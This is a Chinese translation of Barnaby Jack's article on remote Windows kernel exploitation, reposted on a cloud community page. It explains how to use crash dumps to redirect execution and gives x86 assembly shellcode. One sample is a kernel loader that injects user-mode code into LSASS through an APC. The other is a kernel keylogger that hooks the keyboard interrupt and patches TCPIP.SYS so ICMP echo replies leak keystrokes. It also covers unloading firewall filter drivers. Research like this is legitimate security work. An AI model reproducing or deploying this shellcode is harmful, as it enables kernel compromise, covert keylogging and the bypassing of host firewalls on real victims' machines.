Windows 遠程核心漏洞注入

來源:互聯網
上載者:User

作者:Barnaby Jack

譯:北極星2003

EMAIL:zhangjingsheng_nbu@yahoo.com.cn

本文連結:http://hi.baidu.com/wwwanq/

核心地區與使用者地區

I386體系支援4種存取權限,也就是通常所說的特權層級。Windows NT 使用了其中的兩個許可權,使得NT作業系統可以在不完全支援這四種特權層級的體系中運行。

 

       使用者地區代碼例如應用程式和系統服務運行在3級,使用者模式的進程只能訪問分配給他們的20億位元組的記憶體,並且使用者代碼是可以被分頁和環境切換的。

 

       核心級代碼運行在0級,硬體抽象層、裝置驅動程式、IO、記憶體管理和圖形介面都是運行在0級。在0級執行的代碼,運行時擁有系統的所有許可權,可以訪問所有記憶體且能使用特權指令。

 

Native API

       由於設計,使用者模式進程不能任意切換許可權登記,這個功能會牽涉到整體Windows NT的安全模型。當然,這個安全模型是由多時段所構成的。

 

    有時候使用者態的作業沒有核心級函數功能無法完成,這就是引入Native API的原由。Native API是未被文檔化的內建函式集,運行在核心模式。Native API之所以存在,就是為了提供一些能夠在使用者模式下安全地調用核心模式服務的途徑。

 

    一個使用者應用程式可以調用由NTDLL.DLL匯出的Native API。NTDLL.DLL匯出大量函數用於封裝相應的核心功能。如果你反組譯碼其中一個函數,你會發現結果與下面相似:

Windows 2000:

mov eax, 0x0000002f

lea edx, [esp+04]

int 0x2e

 

         每個由NTDLL匯出的Native API都可以被反編譯成能夠把執行環境切換到核心模式的程式碼片段(stub).首先寄存器載入一個指向系統服務表的索引值,隨後在NTOSKRNL對應位移位置訪問所需要的函數。

Windows XP:

mov eax, 0x0000002f

mov edx, 7ffe0300

call edx

At offset 0x7ffe0300:

mov edx, esp

sysenter

ret

 

    如果你的配置是奔騰II或者更高,那麼在Windows XP中情況會有些不同。Windows XP是通過SYSENTER/SYSEXIT指令對來實現核心模式與使用者模式的切換,這給建立shell code增加了一些困難,稍後再詳細解釋。

 

    為了成功的建立核心模式的shell code,你必須忘記所有使用者級的API,且只使用核心級函數Native
API。關於Native API的更多文檔資料可以參考Gary Nebbett的《The Windows NT/2000 Native API
Referce》。

 

藍屏的本質

 

當你找到一個漏洞,當你把資料包發送到遠程系統時面臨著出現藍屏的問題。要想成功注入一個核心級漏洞,首先要理解“藍色當機畫面(Blue Screen Of Death)”的原理。

 

當你見到BSOD,這就意味著native函數KeBugCheckEx被調用,有兩種情況可以引發這種錯誤:

1、由核心例外狀況調用

2、直接由錯誤偵測機制調用KeBugCheckEx

 

核心的異常鏈處理機制如下:

   
當一個異常產生時,核心通過IDT(中斷描述符表)的函數入口(KiTrapXX)取得控制權。這些函數組成了1級的的設陷處理常式(Trap
Handler),這個中斷處理體可能會獨自處理這個異常,也可能把該異常傳遞給下一個異常處理體,或者如果這個異常是無法處理的,那麼就直接調用
KeBugCheckEx。

 

    無論是哪種情況,為了掌握產生異常的原因和地點,我們需要得到陷阱楨(Trap
Frame)。陷阱楨是一個與CONTEXT相似的結構,利用這個結構,可以得到所有寄存器的狀態和指令寄存器所指向的產生異常的地址。我傾向於使用
Compuware/Numega的SoftICE調試器來完成所有工作,但當調試陷阱楨時,WinDbg提供了更好的結構識別能力。如果只使用
SoftICE,我必須手動定位先前的堆棧參數。

 

   
假如你的電腦設定了藍屏時的記憶體轉儲功能,那麼這個檔案的預設儲存路徑為%SystemRoot%/MEMORY.DMP。載入WinDbg並且選擇“打
開崩潰轉儲(Open Crash Dump)”載入所儲存的檔案。下面是由設陷處理常式直接調用KeBugCheckEx的例子。

 

在載入記憶體轉儲檔案後,WinDbg顯示如下:

 

 

 

 

WinDbg顯示了KeBugCheckEx是由自陷程式KiTrapOE調用的以及而且陷阱楨的地址是0x8054199C .現在就用“trap address”命令來顯示陷阱楨的內容。

 

 

 

現在我們可以看到異常拋出時所有寄存器的狀態,同時也能顯示一部分的記憶體地區。看到指令寄存器的值為0x41414141,表明是在使用者地區。現在我們可以按照自己的意願任意改變執行流程。

 

這種情況下,資料是由ESP寄存器來定位的:

 

 

 

現在我們就可以利用JMP ESP,CALL ESP, PUSH ESP/RET等位移值替換0x41414141來實現執行流程重新導向,可以採用任何標準溢出技術重現漏洞溢出。

 

如果KeBugCheckEx是由異常處理機制引發的,陷阱楨是作為第三參數傳遞給KiDispatchException。在這種情況下,你需要將第三參數的地址傳遞給自陷命令。

 

當流程重新導向位移地址時,該位移地址必須是個靜態記憶體位址(也就是說,在記憶體中的地址的不變的)。

 

Shell Code樣本

    第一個Shell Code樣本是“Kernel Loader”,允許插入到任何使用者地區代碼並且安全的執行,這對於執行遠程Shell code和任何使用者級Shell Code來說是很方便的。

 

    第二個樣本是pure kernel.這個例子建立一個使用者鍵盤中斷處理常式來捕獲所有的鍵盤輸入訊息。然後利用shell code
TCPIP.SYS ICMP處理常式,讓鍵盤緩衝區通過ICMP
ECHO請求返回到遠程系統。這段代碼很小,利用了很少的API函數。為了完全理解下面的樣本,我拷貝了相應的原始碼。

The “Kernel Loader”

       有很多技術可以把代碼從核心狀態轉換到使用者狀態並且執行,舉個例子,你可以改變正在執行的線程的EIP,讓它指向自己的代碼——如果採用這個技術,正在啟動並執行進程就會自我銷毀。

 

   
可以使用NTOSKRNL中的RtlCreateUserThread和RtlCreateUserProcess函數,這些函數會建立
SMSS.EXE(唯一一個沒有父進程的進程,由核心直接建立)。然而這裡有兩個問題:第一,他們不是匯出函數;第二,是個更大的問題,他們是在
NTOSKRNL的INIT區段中,這意味著在進程執行之前這兩個函數就已經執行。因而需要重新對應NTOSKRNL,以及初始化一些全域變數
(_MmHighestUserAddress和_NtGlobalFlag), 當然還需要找到該函數的首地址。

 

另外一種可行的方法是在使用者域進程中建立遠程線程,並且直接執行該線程。Firew0rker在他的文章中談到過這些: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt

 

不幸的是,這種方法也有缺陷。當執行使用者級代碼的時候,API函數CreateProcess可能會失敗,這是由於必須通知CSRSS子系統。需要重新擷取workaround並且在使用者級的Shell Code中建立一個新的CONTEXT結構。

 

為了保持shell
code盡量小,同時也為了可以插入到任意使用者域代碼而無需改變(譯註:可移植性),上述的workaround並不是一個可行的選擇。因為這種方法同樣
利用NTDLL的匯出函數,在windows 2000以外的系統中會引發一定的問題。Windows
2000使用Ox2e中斷來實現3級到0級的切換,無論在3級或是0級,都可以安全的執行。

 

然而,在Windows XP下問題就產生了,Windows
XP是利用SYSENTER和SYSEXIT指令對來實現0級與3級之間的切換。如果在核心中直接調用NTDLL的匯出函數,意味著藍屏即將來臨。為瞭解
決這個問題,用於在系統服務表中查詢NTOSKRNL函數的額外代碼是必須的.我決定採用非同步程序呼叫(Asynchronous Procedure
Calls)方式來執行使用者域Shell Code,這種方法只使用直接由NTOSKRNL匯出的函數。

 

在一個處於“可警示等待狀態(Alertable Wait
State)”的使用者線程中使用APC,必須立即執行該函數。處於“可警示等待狀態”的線程可能是由於調用了 SleepEx,
WaitForSingleObjectEx,
SignalObjectAndWait和MsgWaitForMultipleObjectsEx等函數把Alertableflag設定為TRUE。
這種方法需要的API調用數目是最少的,而且相對而言比較可靠。

 

我們將要使用的所有函數都是由NOOSKRNL匯出的。第一步要做的就是手動取得NTOSKRNL的基地址,為了完成這一步,我們使用被稱為
“mid-delta”的技術:先取得一個指向NTOSKRNL地址空間的指標,然後一直遞減直到指標指向可執行檔標誌“MZ”為止。要想得到一個指向
NTOSKRNL地址空間的指標,我們可以先取得中斷描述符表(IDT)的第一項入口地址,因為通常情況下這個地址是指向NTOSKRNL地址空間中的某
一位置。

 

接下來的代碼是訪問在IDT中取得一個記憶體指標,然後通過遞減該指標來尋找基地址。

mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT地址

lodsd

cdq

lodsd ; get pointer into NTOSKRNL

@base_loop:

dec eax

cmp dword ptr [eax], 00905a4dh ; 檢測“MZ”標誌

jnz @base_loop

 

   
取得IDT基地址的一般方法是使用SIDT指令。由於IDT也是由0xFFDFF038地址的指標所指向的,我可以直接存取IDT地址,這樣也可以減少一
些位元組數。也許你會注意到上面的代碼並沒有得到正確的IDT入口地址,我們只是取得入口地址的高字部分,這是因為低字部分的地區範圍是在0—
0xFFFF,忽略後仍舊在NTOSKRNL的記憶體位址空間裡。

 

hash_table:

dw 063dfh; "PsLookupProcessByProcessId" _pslookupprocessbyprocessid equ [ebx]

dw 0df10h; "KeDelayExecutionThread"       _kedelayexecutionthread          equ [ebx+4]

dw 0f807h; "ExAllocatePool"            _exallocatepool                         equ [ebx+8]

dw 057d2h; "ZwYieldExecution"          _keyieldexecution                          equ [ebx+12]

dw 07b23h; "KeInitializeApc"           _keinitializeapc                       equ [ebx+16]

dw 09dd1h; "KeInsertQueueApc"          _keinsertqueueapc                   equ [ebx+20]

hash_table_end:

 

    接下來我們可以建立一張雜湊表,每一個所需要的函數都在其中有一個字長的雜湊表項。函數名字串在Win32 Shell
Code中往往會佔據大量的空間,所以使用散列機制更加合理。每個函數的指標都存放在一個表項中,而且可以由Shell
Code通過EBX寄存器來訪問。

   
接下來就執行標準的“GetProcAddress”,它會分析NTOSKRNL的匯出表並且取得對應函數的入口地址。這裡的雜湊表有點特別,只是對匯出
函數名的每一位元組進行XOR/ROR運算。我使用字長雜湊表而不是雙字長雜湊表就是為盡量縮減Shell Code的長度。

 

    一旦取得所有將要使用的函數的入口地址,接下來的的任務就是分配一個新的記憶體塊用於儲存shell
code。因為代碼還駐留在堆棧上,必須把代碼拷貝到新的記憶體塊。否則接下來的核心功能會覆蓋掉大塊地區,尤其是當我們請求降低IRQL
(Interrupt Request Level)時。

 

    我們把NonPagedPool作為參數傳遞給ExAllocatePool,然後把shell code拷貝到non-paged地區,再簡單的執行一個JMP指令來到這個記憶體地區。現在所有的代碼都可以安全的執行而不會再受到影響。

 

   
當注入驅動程式時,我們必須意識到當前的IRQL。IRQL是一個指定核心程式當前的硬體優先順序,很多核心程式為了能成功執行會請求IRQL的
PASSIVE (0) 。如果運行在DISPATCH (2)級(用於程式調度和延遲程序呼叫) ,必須把IRQL下降到PASSIVE.
這隻是一件簡單的事情,只需要調用HAL的匯出函數KeLowerIrql並且把0(PASSIVE)做為參數。

 

   
現在我們需要把使用者域代碼綁定到進程,就必須先得到EPROCESS結構的指標,每一個進程都有一個對應的EPROCESS結構。關於這篇文章所有結構的
更多資訊都可以在WinDbg中通過dump結構體取得(例如: dt
NT!_EPROCESS)。我們將要使用的函數需要EPROCESS的位移地址,如果可以得到指向所有EPROCESS結構的指標,那麼可以通過遍曆所
有結構來得到當前的所有活動進程。

 

   
一般情況下,可以通過調用PsGetCurrentProcess來得到第一個EPROCESS結構。不幸的是,當注入一個遠程驅動程式的時候,我們可能
注入到一個處於“等待”狀態的進程中,這個“等待”進程不會返回一個有效進程式控制制塊。我用PsLookupProcessByProcessId來替換,
並且把“system”進程的PID作為參數。在Windows XP中這個值為4,而在Windows 2000中這個值為8。

 

lea ebp, [edi-4]

push ebp

push 04

call dword ptr _pslookupprocessbyprocessid ;取得系統EPROCESS

mov eax, [ebp] ; 取得系統EPROCESS結構指標

 

  
取得了第一個EPROCESS結構,現在我們就可以訪問當前所有活動進程。雖然我選擇把代碼注入LSASS地址空間,但所有正在啟動並執行系統進程都是合適的
目標。為了訪問LSASS,採用迴圈方式枚舉EPROCESS+ActiveProcessLinks所指向的每一個入口地址並且與LSASS模組名相比
較。

 

mov cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks

add eax, ecx ; get address of EPROCESS+ActiveProcessLinks

@eproc_loop:

mov eax, [eax] ; get next EPROCESS struct

mov cl, EP_ModuleName

cmp dword ptr [eax+ecx], "sasl" ; is it LSASS?

jnz @eproc_loop

 

   一旦定位LSASS進程,就可以通過減去ActiveProcessLinks位移值,從而得到LSASS與第一個EPROCESS結構的位移值。

 

    下一步就是把shell
code拷貝到目標記憶體空間。起先我打算把代碼存放在PEB;以前,PEB總是被映射到0x7ffdf000,但在XP
SP2中PEB的映射地址是隨機的。雖然可以通過0xFFDFF000->0x18->0x30找到PEB,但我們有更好的選擇:把代碼存放
到核心-使用者-共用記憶體地區,通常被稱為SharedUserData。0xFFDF0000處是一個可寫的記憶體地區,在那裡可以儲存我們的代碼。這個內
存地區是從使用者域被標記為唯讀0x7FFE0000處映射而來的,這個映射在所有的平台上都一樣,所以這是個不錯的選擇。
由於在這個地區的記憶體對所有進程來來說都是可讀的,所以必要把地址空間切換到目標進程,可以直接從核心把代碼寫入到0xFFDF0000+0x800。當
排隊一個使用者模式APC時,把0x7FFE0000+0x800作為參數。

 

call @get_eip2

@get_eip2:

pop esi

mov cx, shell code-$+1

add esi, ecx ; Get shell code address

mov cx, (shell code_end-shell code) ; Shell code size

mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800

push edi

mov edi, [edi] ; Copy shell code to SharedUserData

rep movsb

pop edi

 

   
現在需要找到一個可以執行APC函數的線程。APC可以是核心模式APC或者使用者模式APC,這裡排隊一個使用者模式的APC。如果我們將要傳遞的線程沒有
處於“可警示等待狀態”,那麼使用者模式APC將不會被調用。我前面已經簡要的提到,一個線程可以通過調用SleepEx,
SignalObjectAndWait, MsgWaitForMultipleObjectsEx and
WaitForSingleObjectEx把bAlertable設定為TRUE就可以進入該狀態。要找一個可用的線程需要訪問該進程的ETHREAD
指標,並且遍曆每個線程直到找到我們所需要的線程為止。

 

mov edx, [edi+16] ; Pointer to EPROCESS

mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer

@find_delay:

mov ecx, [ecx] ; Get next thread

cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?

jnz @find_delay

 

   上面的代碼首先通過EPROCESS結構的ThreadListHead LIST_ENTRY取得LSASS ETHREAD結構的指標,然後檢測線程狀態標誌。一旦找到目標線程,我們設定EBP指向KTREAD結構,接下來我們要初始APC程式。

 

xor edx, edx

push edx

push 01 ; push processor

push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)

push edx ; push NULL

push offset KROUTINE ; push KERNEL routine

push edx ; push NULL

push ebp ; push KTHREAD

push esi ; push APC object

call dword ptr _keinitializeapc ; initialize APC

 

    我們把使用者模式Shell
Code(儲存在SharedUserData)的EIP作為KeInitializeApc的參數,同時必須傳遞一個將會被調用的核心程式。我們不需要
這個程式做任何事情,只需要把返回指令指向shell
code就可以了,該線程的KTHREAD結構對於執行我們的APC程式也必要的,APC對象將以指標變數的形式由ESI寄存器返回。現在可以將我們的
APC程式插入到目標線程的APC隊列。

 

push eax ; push 0

push dword ptr [edi+4] ; system arg

push dword ptr [edi+8] ; system arg

push esi ; APC object

call dword ptr _keinsertqueueapc

 

    最後一個函數是KeInsertQueueApc用來發送APC。在上面的代碼中,EAX為0,而且兩個系統參數也是指向空地址的指標,當然也傳遞了先前由KeInitializeApc返回的APC對象。

 

    最後,為了防止我們的剛初始化的負載線程返回並出現藍屏,把0X80000000:00000000傳遞給KeDelayExecutionThread,讓線程睡眠。

 

push offset LARGE_INT

push FALSE

push KernelMode

call dword ptr _kedelayexecutionthread

 

    如果在偶然的情況下,我們進入了“Idle”地址空間,那麼這個調用就會失敗。解決這個問題的方法是放棄執行該線城,然後繼續迴圈.程式碼片段如下:

 

@yield_loop:

call dword ptr _keyieldexecution

jmp @yield_loop

 

    萬幸,使用者模式線程應該還在你所選擇的SYSTEM進程中安全的執行。如果完成APC函數後調用ExitThread來退出使用者代碼,那麼系統很可能還是穩定的。

 

 

The ICMP Patching Interrupt Hooking Key-Logger

    當我和來自eEye的Derek Soeder閑聊的時候,我們討論了哪些是完全由核心級內程式碼群組成的有用的shell
code。其中的一個想法是核心級key-logger,它可以返回鍵盤緩衝區到遠程線程。顯然,這是一個shell
code,建立一個完整的鍵盤過濾器和通訊管道可能會大大超出可以接受的代碼長度範圍,所以採取捷徑是必須的。

 

   
我們採用源於DOS時代的技術,把鍵盤中斷處理常式入口替換為自己的代碼入口來捕獲掃描碼,而不是綁定鍵盤過濾器來捕獲鍵盤訊息。我決定修改
TCPIP.SYS驅動程式的ICMP處理體,而不是通過自己建立管道返回鍵盤訊息到遠端使用者。補丁程式修改了ICMP
ECHO處理體,用我們自己的鍵盤緩衝區來替換原來的緩衝區。發送一個ICMP ECHO請求到遠程系統將會返回所捕獲的按鍵情況。

 

    第一步,把鍵盤處理體的IDT入口替換為我們自己中斷處理體的入口。現在,Windows XP 和 2000
SP4有儲存在HAL記憶體地區的IRQ中斷向量表。我們可以很方便的搜尋臨近的標誌位元組,並且查詢對應於IRQ1(鍵盤IRQ)的中斷向量。在早期的服務
包中,例如Window 2000 SP0,這個表是不存在的,然而中斷向量表是靜止的,RQ1 = Vector 0x31, IRQ2 =
Vector 0x32等等。下面的代碼首先嘗試定位向量表,如果定位失敗的話就會直接使用中斷向量0X31。

 

mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT基地址

lodsd

cdq

lodsd                          ; 取得NTOSKRNL地址空間的指標

@base_loop:

dec eax

cmp dword ptr [eax], 00905a4dh    ; 檢測 MZ 標誌

jnz @base_loop

jecxz @hal_base                   ; 把 NTOSKRNL 基地址儲存到EAX

xchg edx, eax

mov eax, [edx+590h]               ; 取得一個 HAL 函數的指標

xor ecx, ecx

jmp @base_loop                 ; 尋找HAL的基地址

@hal_base:

mov edi, eax                      ; 把 HAL 的基地址儲存到 EDI

mov ebp, edx                      ; 把 NTOSKRNL 基地址儲存到 EBP

cld

mov eax, 41413d00h             ; 標誌位元組"=AA/0"

xor ecx, ecx

dec cx

shr ecx, 4

repnz scasd                    ; 取得在IDT表中的位移值

or ecx, ecx

jz @no_table

lea edi, [edi+01ch]               ; 取得相量表的指標

push edi

inc eax                        ;IRQ 1

repnz scasb

pop esi

sub edi, esi

dec edi                        ; 取得鍵盤中斷

jmp @table_ok

@no_table:

mov edi, 031h                     ; 如果相量表不存在,使用靜態值

@table_ok:

push edx

sidt [esp-2] ;Get IDT

pop edx

lea esi, [edx+edi*8+4]            ; IDT 中鍵盤處理體入口

std

lodsd

lodsw                          ; EAX 中為鍵盤處理體入口地址

mov dword ptr [handler_old], eax ; 儲存

 

  
首先定位NOSOKRNL和HAL.DLL的基地址,然後在HAL地址空間中搜尋“=AA/0”標誌,這個雙字標誌標識著與中斷向量表相臨的TRQL-
TPR轉換表的開始。如果找到該標識,我們直接把中斷向量設定為0X31;如果沒有找到IRQ表,那麼所需要的位移值在IRQ表的0XC1H處。接著我們
定位對應於鍵盤IRQ1的向量,然後用SIDT指令得到IDT的基地址。得到中斷向量IDT入口的公式如下:

IDT_BASE+INT_Vector*8

 

    從IDT中取得原始中斷處理體的地址,儲存在我們處理常式的起始位置,因而當我們的處理常式完成特定功能後可以返回到原始處理常式。下面的代碼在IDT中用我們自訂的中斷處理體入口替換原始處理常式入口:

 

cld

mov eax, @handler_new

cli                         ; 當改寫入口地址的時候屏蔽中斷

mov [esi+2], ax                ; 改寫用新的入口地址改寫IDT入口

shr eax, 16

mov [esi+8], ax

sti                         ; 恢複允許中斷訊號

 

  
接下來就調用ExAllocatePool,分配一個緩衝區用於儲存已捕獲的鍵盤輸入;我們還需要通過分析NTOSKRNL的
PsLoadedModuleList來定位TCPIP.SYS的基地址,不幸的是PsLoadedModuleList不是公用的匯出函數,因而我們需
要手動定位。

 

    NTOSKRNL匯出的MmGetSystemRoutineAddress函數就使用了這個鏈表。

 

   為了取得所需要的指標,我們把MmGetSystemRoutineAddress的地址作為參數並且通過遞增該地址來手動定位PsLoadedModuleList。

 

mov edi, _mmgetsystemroutineaddress

@mmgsra_scan:

inc edi

mov eax, [edi]

sub eax, ebp

test eax, 0FFE00003h

jnz @mmgsra_scan

mov ebx, [edi]

cmp ebx, [edi+5]                  ; 檢測 PsLoadedModuleList 的指標

je @pslml_loop

cmp ebx, [edi+6]

jne @mmgsra_scan

@pslml_loop:                      ; 找到 _PsLoadedModuleList

mov ebx, [ebx]

mov esi, [ebx+30h]

mov edx, 50435449h             ; "ITCP", 判斷是否TCPIP.SYS 模組?

push 4

pop ecx

@pslml_name_loop:

lodsw

ror edx, 8

sub al, dl

je @pslml_name_loop_cont

cmp al, 20h

@pslml_name_loop_cont:

loopz @pslml_name_loop

@pslml_loop_cont:

jnz @pslml_loop

mov edi, [ebx+18h]                   ;TCPIP.SYS 模組基地址

 

    上面的代碼首先遍曆MmGetSystemRoutineAddress程式來搜尋該鏈表的指標。系統模組鏈表結構如下:

 

+00h LIST_ENTRY

+08h ???

+18h LPVOID module base address

+1Ch LPVOID ptr to entry point function

+20h DWORD size of image in bytes

+24h UNICODE_STRING full path and file name of module

+2Ch UNICODE_STRING module file name only

...

 

   接下來就是分析該鏈表來取得TCPIP.SYS模組的基地址。

 

   這些代碼比起網路Shell Code更類似於軟體crack,原因就在於:我們將要修改TCPIP驅動程式,這就意味著我們可以接受來自遠程系統所捕獲的鍵盤輸入。有很多種方法,這裡通過修改ICMP ECHO處理常式使之作為通訊通道。

 

    在TCPIP.SYS的SendEcho中我們將會使用shell code。由於完整的反組譯碼代碼太長,下面是相關部分的程式碼片段:

 

 

    從上面的反組譯碼代碼來看,[edx+8]是指向ICMP ECHO緩衝區的指標,那麼通過修改上面的代碼把[edx+8]的指標改為指向我們的鍵盤緩衝區,這隻是一件很容易的事。

 

mov eax, 428be85dh       ; TCPIP.SYS 地址空間中的位元組序列

@find_patch:

inc edi

cmp dword ptr [edi], eax

jnz @find_patch

add edi, 5

mov al, 68h

stosb                 ; Store "push"

mov eax, edx             ; EDX 指向鍵盤緩衝區

stosd                 ; 儲存鍵盤緩衝區指標

mov eax, 08428f90h    ; "pop [edx+08h] / nop"

stosd                

 

用下面的代碼可以修改:

push keybuffer_offset

pop [edx+8]

nop

 

   當ICMP ECHO請求被發送到遠程系統時,反饋的資料包會包括已捕獲的鍵盤輸入,替換中斷處理體是很容易的事--當有按鍵事件時我們的程式就會被調用,然後從鍵盤斷口讀取鍵盤掃描碼並儲存到按鍵緩衝區。

 

@handler_new:

push 0deadbeefh                   ; 儲存當前處理常式指標

handler_old equ $-4

pushfd

pushad

xor eax, eax

lea edi, keybuf                   ; 用所分配的緩衝區地址改寫

KB_PATCH equ $-4

in al, 60h                     ; 取得鍵盤掃描碼

test al, al                    ; 沒有掃描碼?

jz @done

push edi

mov ecx, [edi]

lea edi, [edi+ecx+4]

stosb ; Store code in buffer

inc ecx

pop edi

cmp cx, 1023

jnz @done

xor ecx, ecx

@done:

mov [edi], ecx

popad

popfd

db 0c3h                     ; 返回到原來的處理常式

 

    一旦有按鍵訊息產生,上面的代碼就會被調用,而初始的中斷處理常式控制代碼(已經被改寫)被壓入堆棧。從0x60斷口讀取當前的掃描碼並儲存到所分配的緩衝區中。這個緩衝區可以儲存0X3FF個鍵盤輸入,如果之後再有掃描碼就會覆蓋前面部分。

 

對注入放火牆驅動程式的思考

  
當在防火牆驅動程式中注入一個核心級漏洞時,將需要考慮很多問題。我們將要示範的漏洞是由處理DNS反饋資訊過程引起的,DNS反饋資訊是由
SYMDNS.SYS處理的。如果DNS處理過程不能成功返回,那麼就不能用socket來通訊。在研究這個問題之前,首先必須理解多種協議層的通訊機
制。

下面是網路層的概要:

1)。網路驅動程式介面規範(Network Driver Interface Specification Layer)

NDIS 為從物理裝置到網路傳輸提供一個通路

NDIS驅動程式直接與網路介面卡打交道。

2)。網路通訊協定層(Network Protocol Layer)

此處為 TCP/IP. (TCPIP.SYS)

3)。傳輸層驅動介面(Transport Driver Interface Layer)

TDI為網路通訊協定、用戶端協議、以及網路API例如Winsock提供介面。

4)。網路應用程式介面(Network API Layer)

網路應用程式介面例如Winsock,為網路應用程式提供編程介面。

 

    所有基於主機的放火牆的限制策略都工作在核心模式,通常可以通過TDI過濾驅動程式或者 NDIS 掛鈎過濾驅動程式。雖然我沒有見過這一類的放火牆產品,但是掛鈎AFD介面也是可能的。

 

    我們所面對的問題:SYMDNS.SYS必須返回到TDI過濾驅動程式SYMTDI.SYS,不幸的是一旦執行我們的shell code,通訊就不會結束。這裡有一些的解決方案:

 

(a) “clean” 返回

   Clean返回包括在沒有出現BSOD的情況下從shell code返回,有包括能繼續正常的通訊,這個是很難實現的。經過攻擊後的堆棧不是處於最佳狀態,所以必須返回到原來堆棧楨的狀態

 

(b) 卸載 TDI 或者 NDIS 的過濾驅動

  
卸載過濾驅動是另外一個可行的方法。我們可以很方便的調用驅動程式的卸載程式,這就相當於從DriverEntry程式調用
DriverObject->DriverUnload。這個驅動程式的位移地址可以通過目標驅動程式的DRIVER_OBJECT獲得。

   
如果DriverUnload的成員DRIVER_OBJECT為空白,意味目標驅動程式的卸載程式不存在。DRIVER_OBJECT可以被
DEVICE_OBJECT的成員所引用,可以通過把驅動程式名作為參數傳遞給IoGetDeviceObjectPointer,取得指向
DEVICE_OBJECT的指標。

 

(c) 分離或刪除驅動程式(Detach/delete the devices)

    驅動可以通過調用 IoAttachDevice 或 IoAttachDeviceToDeviceStack
把自身的裝置對象附加到其它裝置,因而對原始裝置的請求首先被傳遞到立即裝置。我們可把DEVICE_OBJECT作為參數傳遞給
IoDetachDevice來分離驅動程式,有可以把DEVICE_OBJECT作為參數傳遞給IoDeleteDevice來移除裝置。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.